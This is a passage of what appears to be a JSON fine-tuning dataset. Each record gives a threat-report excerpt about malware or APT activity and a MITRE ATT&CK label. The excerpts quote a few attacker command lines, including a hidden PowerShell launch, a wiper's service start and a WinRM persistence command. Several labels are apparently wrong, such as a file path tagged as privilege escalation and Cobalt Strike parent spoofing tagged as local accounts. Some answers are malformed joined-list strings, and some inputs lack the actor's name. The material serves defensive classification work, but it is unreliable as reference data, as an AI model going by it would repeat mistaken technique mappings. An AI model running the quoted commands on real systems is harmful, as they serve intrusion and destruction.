        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory. While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256. CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the script’s execution was logged automatically due to the use of specific keywords. CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 actors have mailed USB drives to potential victims containing malware that downloads and installs various backdoors, including in some cases for ransomware operations."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has the ability to discover drive information on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors — both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. The attacks have become more sophisticated, and have evolved to evade detection on a continual basis. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. Simple campaigns typically use a single technique and often embed the final executable payload into the exploit document. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright"
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In at least one engagement, we observed Blue Mockingbird seemingly experimenting with different tools to create SOCKS proxies (T1090: Proxy) for pivoting. These tools included a fast reverse proxy (frp), Secure Socket Funneling (SSF), and Venom. In one instance, the adversary also tinkered with PowerShell reverse TCP shells and a reverse shell in DLL form (T1059.001: PowerShell"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The wiper module (SHA256: 391e7b90bf3f0bfeb2c2602cc65aa6be4dd1c01374b89c4a48425f2d22fe231c) that the dropper writes to the system is responsible for overwriting the data within the MBR, partitions, and files on the system. The wiper carries out this wiping using a legitimate hard disk driver called RawDisk by ElDos. The wiper contains the ElDos RawDisk driver in a resource named 'e' that it extracts by skipping to offset 1984 and reading 27792 bytes from that offset. It then decrypts the data using aa 247-byte key and saves it to ‘%WINDOWS%\\system32\\hdv_725x.sys’. The wiper then creates a service named ‘hdv_725x’ for this driver using the following command line command and runs it with \"sc start hdv_725x"
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackOasis's first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot can use a VBA macro embedded in an Excel file to drop the payload."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GRIFFON has used a reconnaissance module that can be used to retrieve the date and time of the system."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink can download files via HTTP and HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA459 has targeted victims using spearphishing emails with malicious Microsoft Word attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi executes received commands with wmic.exe (for WMI commands)."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of executing commands and spawning a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can retrieve the ARP cache from the local system by using the \"GetIpNetTable()\" API call and check to ensure IP addresses it connects to are for local, non-Internet, systems."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Capture current screen (screenshot) and save screenshot as a JPEG to \"C:\\ProgramData\\tsc\". The contents of the file are subsequently read and sent to the C2. Code to capture a screenshot as bitmap and save to file"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. Once opened, Excel will retrieve whatever object is at the URL inside the file. These files have most recently been found in use by criminals to deliver commodity RATs such as Flawed Ammyy. In DarkHydrus's case, the preferred payload retrieved in their previous attacks were exclusively open-source legitimate tools which they abuse for malicious purposes, such as Meterpreter and Cobalt Strike. However, in this instance, it appears that this group used a custom PowerShell based payload that we call RogueRobin"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of the most noticeable differences is the use of encryption over the entire TCP segment, as a way for it to evade detection. Additionally, this seems to be a lightweight version of Gh0stRAT, as it only has 12 commands, compared to the 73 for a full Gh0stRAT sample; 3 of those commands are undocumented. Also, unlike most samples that I receive on my honeypot, this sample did not start as a DLL that communicates to a distribution server in order to download the stage1"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel', 'T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload will construct a message that has the following structure that it will then send to the C2:   bye<char uuid[35]>d   The message above is sent via a simple HTTPS/HTTP POST request to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There is a variant of  that uses a PowerShell script instead of the traditional PE form."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has deployed a modified version of Invoke-Ngrok to expose open local ports to the Internet."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can stop up to 146 Windows services related to security, backup, database, and email solutions through the use of \"net stop\"."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Sharpshooter, the threat actors used a VBA macro to execute a simple downloader that installed Rising Sun."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PlugX can be configured to use HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download files off the target system to send back to the server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS)."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Then, it will launch Dec.exe using PowerShell with the command “ cmd.exe /c powershell - WindowStyle Hidden Start-Process Dec.exe - WindowStyle maximized ”."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Raindrop decrypted its Cobalt Strike payload using an AES-256 encryption algorithm in CBC mode with a unique key per sample."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron is capable of executing commands via cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3) This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4) The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 6) The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant"
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla surveys a system upon check-in to discover operating system configuration details using the \"systeminfo\" and \"set\" commands."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain the victim user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has delivered zero-day exploits and malware to victims by injecting malicious code into specific public Web pages visited by targets within a particular sector."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs cmd.exe /c and sends the output to its C2."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The database is located in the “/usr/lib/cva-ssys/My_BD” folder (“~/.local/cva-ssys/My_BD”—if the Trojan does not have root privileges)"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has used `cmd.exe` and `.bat` scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses  to execute a payload or commands on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scarlet Mimic has used the left-to-right override character in self-extracting RAR archive spearphishing attachment file names."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  samples contain a publicly available Web browser password recovery tool."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. For example, if I’m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes. Beacon’s runu command runs an arbitrary command as a child of another parent. These commands offer means to spawn a payload, in another desktop session, without remote process injection. The Resource Kit . Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates. The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows"
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container. More specifically, it links its local containerized X drive to the host’s C drive"
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sidewinder has sent e-mails with malicious links often crafted for specific targets."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has developed malware variants written in Python."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peirates can dump the contents of AWS S3 buckets. It can also retrieve service account tokens from kOps buckets in Google Cloud Storage or S3."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage Object"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The QUADAGENT backdoors dropped onto the hosts were nearly identical to each other, with the only differences being the command and control server (C2) and randomized obfuscation. We were also able to locate a third delivery package of the QUADAGENT backdoor as reported by ClearSky Cyber Security. In their example, the OilRig group used a malicious macro document to deliver the backdoor, which is a tactic much more commonly used by them. A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation. Invoke-Obfuscation has proven to be highly effective at obfuscating PowerShell scripts and in this case, the adversary was able to take advantage of the tool for increased chances of evasion and as an anti-analysis tactic. Based on our telemetry, we have high confidence the email account used to launch this attack was compromised by the OilRig group, likely via credential theft. The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files. Its sole purpose here is to install the QUADAGENT backdoor and execute it. The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it. Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Regin malware platform can use Windows admin shares to move laterally."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used a scheduled task to establish persistence for a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BADFLICK has compressed data using the aPLib compression library."
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has used JavaScript and Node.Js information stealer script that exfiltrates data using the node process."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors enabled WinRM over HTTP/HTTPS as a backup persistence mechanism using the following command: `cscript //nologo \"C:\\Windows\\System32\\winrm.vbs\" set winrm/config/service@{EnableCompatibilityHttpsListener=\"true\"}`."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can check for VMware-related files and DLLs related to sandboxes."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects endpoint information using the systeminfo command."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the first case, attackers create two WMI event filters and two WMI event consumers. The consumers are simply command lines launching base64-encoded PowerShell commands that load a large PowerShell script stored in the Windows registry. Figure 1 shows how the persistence is established"
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use junk code to hide functions and evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 uses a module to receive a notification every time a USB mass storage device is inserted into a victim."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT collects various information via WMI requests, including CPU information in the Win32_Processor entry (Processor ID, Name, Manufacturer and the clock speed)."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sodinokibi gathers some basic system information and saves it to the registry together with the generated encryption parameters. If the dbg option is not set in the config, the UI language and keyboard layout values are checked, and the malware will simply exit on systems which use one of the following language codes"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spark can collect the hostname, keyboard layout, and language from the system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "compromised legitimate organizations' websites to create watering holes to compromise victims."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "More_eggs has used a signed binary shellcode loader and a signed Dynamic Link Library (DLL) to create a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum can collect network information, including the host IP address, DNS, and proxy information."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
